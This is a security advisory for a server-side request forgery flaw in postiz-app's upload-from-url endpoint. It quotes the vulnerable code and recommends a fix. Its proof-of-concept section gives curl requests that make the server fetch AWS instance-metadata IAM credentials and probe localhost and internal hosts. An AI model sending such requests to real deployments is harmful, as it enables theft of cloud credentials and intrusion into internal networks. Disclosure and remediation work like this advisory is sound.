SSRF in upload-from-url endpoint allows fetching internal resources and cloud metadata

High **egelhaus** published **GHSA-89vp-m2qw-7v34** last week

Package

postiz-app

Affected versions

<= v2.21.2

Patched versions

=> v2.21.3

Description

Summary

The `POST /public/v1/upload-from-url` endpoint accepts a user-supplied URL and fetches it server-side using `axios.get()` with no SSRF protections. The only validation is a file extension check (`.png`, `.jpg`, etc.) which is trivially bypassed by appending an image extension to any URL path. An authenticated API user can fetch internal network resources, cloud instance metadata, and other internal services, with the response data uploaded to storage and returned to the attacker.

Details

The vulnerable endpoint is at `apps/backend/src/public-api/routes/v1/public.integrations.controller.ts:77-111`:

```
@Post('/upload-from-url')
async uploadsFromUrl(
  @GetOrgFromRequest() org: Organization,
  @Body() body: UploadDto
) {
  Sentry.metrics.count('public_api-request', 1);
  const response = await axios.get(body.url, {  // <-- SSRF: user-controlled URL fetched
    responseType: 'arraybuffer',
  });
```

```
  const buffer = Buffer.from(response.data);
  // ... buffer uploaded to storage and URL returned to caller
}
```

The `UploadDto` at `libraries/nestjs-libraries/src/dtos/media/upload.dto.ts` only applies the `ValidUrlExtension` validator:

```
export class UploadDto {
  @IsString()
  @IsDefined()
  @Validate(ValidUrlExtension)  // Only checks file extension
  url: string;
}
```

The `ValidUrlExtension` validator at `libraries/helpers/src/utils/valid.url.path.ts:8-18` only checks that the URL path (before `?`) ends with an allowed extension:

```
validate(text: string, args: ValidationArguments) {
  return (
    !!text?.split?.('?')?.[0].endsWith('.png') ||
    !!text?.split?.('?')?.[0].endsWith('.jpg') ||
    // ... etc
  );
}
```

Missing protections:

1. **No hostname/IP validation** — No check against private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254) or DNS rebinding protections.
2. **No scheme validation** — No check that the URL uses `http://` or `https://`, potentially allowing `file://` or other schemes.
3. **Extension check is trivially bypassed** — Cloud metadata endpoints and most web services ignore trailing path components like `.png`. For example, `http://169.254.169.254/latest/meta-data/iam/security-credentials/role.png` returns valid metadata.

Notably, the codebase already has SSRF protections in `libraries/nestjs-libraries/src/dtos/webhooks/webhook.url.validator.ts` (the `IsSafeWebhookUrl` decorator), which validates against private IP ranges — but this validator is only applied to webhook and autopost DTOs, not to `UploadDto`.

PoC

Step 1: Fetch AWS instance metadata (cloud deployments)

```
curl -X POST https://target.com/api/public/v1/upload-from-url \
  -H 'Authorization: YOUR_API_KEY' \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role.png
```

The response contains a `path` field with a URL to the uploaded file. Fetching that URL returns the AWS IAM credentials.

Step 2: Scan internal services

```
curl -X POST https://target.com/api/public/v1/upload-from-url \
  -H 'Authorization: YOUR_API_KEY' \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://127.0.0.1:3000/api/v1/users/self.png"}'
```

Step 3: Access internal network hosts

```
curl -X POST https://target.com/api/public/v1/upload-from-url \
  -H 'Authorization: YOUR_API_KEY' \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://10.0.0.1:8080/admin.png"}'
```

Impact

An authenticated API user can:

- **Steal cloud credentials**: Access AWS/GCP/Azure instance metadata endpoints to obtain IAM role credentials, potentially leading to full cloud infrastructure compromise.
- **Scan internal networks**: Enumerate internal services, ports, and hosts that are not directly accessible from the internet.
- **Access internal services**: Read data from internal databases, admin panels, caches (Redis), and other services on the internal network.
- **Exfiltrate data**: All fetched responses are uploaded to cloud storage and a download URL is returned, providing a full data exfiltration channel.

The scope change (S:C) is justified because the SSRF escapes the application's security boundary to reach cloud infrastructure and internal network services.

Recommended Fix

Apply the existing `IsSafeWebhookUrl` validator (or equivalent SSRF protection) to the `UploadDto`. The simplest fix:

```
// libraries/nestjs-libraries/src/dtos/media/upload.dto.ts
import { IsDefined, IsString, Validate } from 'class-validator';
import { ValidUrlExtension } from '@gitroom/helpers/utils/valid.url.path';
import { IsSafeWebhookUrl } from '@gitroom/nestjs-libraries/dtos/webhooks/webhook.url.va

export class UploadDto {
  @IsString()
  @IsDefined()
  @Validate(ValidUrlExtension)
  @IsSafeWebhookUrl()           // Add SSRF protection
  url: string;
}
```

Additionally, consider:

1. Enforcing `http://` or `https://` scheme validation.
2. Adding DNS resolution validation to prevent DNS rebinding attacks (resolve the hostname first, check the resolved IP against blocklists, then fetch using the resolved IP).
3. Setting a timeout and response size limit on the `axios.get()` call to prevent resource exhaustion.

Severity

High 8.3 / 10

CVSS v4 base metrics

Exploitability Metrics	
Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	Low
User interaction	None
Vulnerable System Impact Metrics	
Confidentiality	High
Integrity	None
Availability	None
Subsequent System Impact Metrics	
Confidentiality	High
Integrity	None
Availability	None

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CVE ID

CVE-2026-34576

Weaknesses

▶ CWE-918

Credits

 **offset** Reporter

 **egelhaus** Coordinator